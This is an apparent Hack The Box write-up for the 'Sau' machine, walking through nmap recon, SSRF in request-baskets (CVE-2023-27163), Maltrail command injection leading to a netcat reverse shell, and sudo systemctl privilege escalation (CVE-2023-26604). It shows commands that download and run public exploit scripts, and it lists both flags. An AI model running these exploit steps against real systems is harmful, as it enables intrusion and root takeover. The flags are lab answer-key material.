Sau

https://www.hackthebox.com/machines/sau

🔗 Sau

@hackthebox.com

About

Machine Description

Sau is an Easy Difficulty Linux machine that features a Request Baskets instance that is vulnerable to Server-Side Request Forgery (SSRF) via [CVE-2023-27163](https://nvd.nist.gov/vuln/detail/CVE-2023-27163). Leveraging the vulnerability we are to gain access to a Maltrail instance that is vulnerable to Unauthenticated OS Command Injection, which allows us to gain a reverse shell on the machine as puma. A sudo misconfiguration is then exploited to gain a root shell.

Area of Interest

Web Application Injections

Technology

Request Baskets Maltrail

Vulnerabilities

OS Command Injection Server Side Request Forgery (SSRF)

Security Tools

Netcat Nmap

Languages

Bash

Techniques

Reconnaissance SUDO Exploitation

CVE

CVE-2023-26604 CVE-2023-27163

Task 0 - Deploy machine

🎯 Target IP: 10.129.229.26

Create a directory on the Desktop with the machine's name, and inside this directory, create another directory to store the materials and outputs needed to run the machine, including the scans made with nmap.

Task 1 - Reconnaissance

su
echo "10.129.229.26 sau.htb" >> /etc/hosts

mkdir -p htb/sau.htb
cd htb/sau.htb
mkdir {nmap,content,exploits,scripts}
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts

I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.

ping -c 3 sau.htb
PING sau.htb (10.129.229.26) 56(84) bytes of data.
64 bytes from sau.htb (10.129.229.26): icmp_seq=1 ttl=63 time=61.0 ms
64 bytes from sau.htb (10.129.229.26): icmp_seq=2 ttl=63 time=59.5 ms
64 bytes from sau.htb (10.129.229.26): icmp_seq=3 ttl=63 time=60.0 ms

Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target should be a *nix system, while Windows systems usually have a TTL of 128 secs.

1.1 - Which is the highest open TCP port on the target machine?

nmap -p0- -sS -Pn -vvv sau.htb -oN nmap/tcp_port_scan

PORT      STATE    SERVICE REASON
22/tcp    open     ssh     syn-ack ttl 63
80/tcp    filtered http    no-response
8338/tcp  filtered unknown no-response
55555/tcp open     unknown syn-ack ttl 63

command	result
sS	SynScan
sC	run default scripts
sV	enumerate versions
A	aggressive mode
T4	run a bit faster
oN	output to file with nmap formatting

It looks like there are 2 open TCP ports on the machine: 22, 55555 and 2 filtered TCP ports: 80, 8338.

55555

1.2 - What is the name of the open source software that the application on 55555 is "powered by"?

Then, we can proceed to analyze services active on open ports:

nmap -p22,55555 -sS -Pn -n -v -sCV -T4 sau.htb -oN nmap/service_port_scan

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 09 Nov 2024 14:27:59 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sat, 09 Nov 2024 14:27:33 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sat, 09 Nov 2024 14:27:33 GMT
|_    Content-Length: 0

Strangely enough, port 80 is filtered, but there seems to be some relationship with the service active on port 55555, let's go and see.

Browsing it: http://sau.htb:55555/web we see that there's up a web app to create a basket to collect and inspect HTTP requests. using request-baskets app vs 1.2.1.

whatweb sau.htb:55555
http://sau.htb:55555 [302 Found] Country[RESERVED][ZZ], IP[10.129.229.26], RedirectLocation[/web]
http://sau.htb:55555/web [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, IP[10.129.229.26], JQuery[3.2.1], PasswordField, Script, Title[Request Baskets]

gobuster dir -u http://sau.htb:55555 -w /usr/share/wordlists/dirb/common.txt

We discover only this web dir: /web (Status: 200) that unfortunely corrispond to our index page.

request-baskets

1.3 - What is the version of request-baskets running on Sau?

1.2.1

Task 2 - Find user flag

2.1 - What is the 2023 CVE ID for a Server-Side Request Forgery (SSRF) in this version of request-baskets?

Googling 'request-baskets 1.2.1' we discover that's vulnerable to a recent CVE via an SSRF attack.

NVD - CVE-2023-27163nvd.nist.gov

GitHub - entr0pie/CVE-2023-27163: Proof-of-Concept for Server Side Request Forgery (SSRF) in request-baskets (<= v.1.2.1)GitHub

CVE-2023-27163

After understanding PoC and reading details regarding usage:

we can download CVE-2023-27163.sh and execute it exploiting our vulnerability:

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
chmod +x CVE-2023-27163.sh
./CVE-2023-27163.sh http://sau.htb:55555 http://sau.htb:80

and now we can concatenate basket value to our URL and finally reach filtered port 80: http://sau.htb:55555/hbvoml

maltrail

2.2 - There is an unauthenticated command injection vulnerability in MailTrail v0.53. What is the relative path targeted by this exploit?

Googling 'MailTrail v0.53' we discover that's vulnerable to an unauthenticated OS Command Injection (RCE)

GitHub - spookier/Maltrail-v0.53-Exploit: RCE Exploit For Maltrail-v0.53GitHub

the username parameter of the login page doesn't properly sanitize the input, allowing an attacker to inject OS commands.

The exploit creates a reverse shell payload encoded in Base64 to bypass potential protections like WAF, IPS or IDS and delivers it to the target URL using a curl command The payload is then executed on the target system, establishing a reverse shell connection back to the attacker's specified IP and port.

Attacker machine:

#first check our IP using ip a
nc -nvlp 4444

Target Machine

python3 exploit.py 10.10.14.6 4444 http://sau.htb:55555/hbvoml

/login

2.3 - What user is the Mailtrack application running as on Sau?

Taking a little system enumeration (whoami and/or id) we can check user active on machine

puma

2.4 - Submit the flag located in the puma user's home directory.

cd ~
ll
cat user.txt

🚩 Flag 1 (user.txt)

8fa7f7719f0e91d9d63187d1b074c457

Task 3 - Find root flag

3.1 - What is the full path to the application the user puma can run as root on Sau?

Very good, we can proceed with privilege escalation for obtaining the root flag.

Executing sudo -l command we can commands that user puma can execute with sudo privileges

/usr/bin/systemctl

3.2 - What is the full version string for the instance of systemd installed on Sau?

We know that systemctl is a service associated at process systemd, we can search version digiting: systemctl --version

systemd 245 (245.4-4ubuntu3.22)

3.3 - What is the CVE ID for a local privilege escalation vulnerability that affects that particular systemd version?

Googling 'usr/bin/systemctl status trail.service', we discover this CVE:

NVD - cve-2023-26604nvd.nist.gov

and this useful resource:

CVE-2023-26604: systemd privilege escalation flaw affects Linux distrosDaily CyberSecurity

then, only executing: sudo /usr/bin/systemctl status trail.service

and adding !sh we can spawn a new shell, directly with root privileges.

CVE-2023-26604

3.4 - Submit the flag located in the root user's home directory.

Let's go into root folder for catching root flag!

🚩 Flag 2 (root.txt)

c4fc01d4944cf3925f079da70abdaea7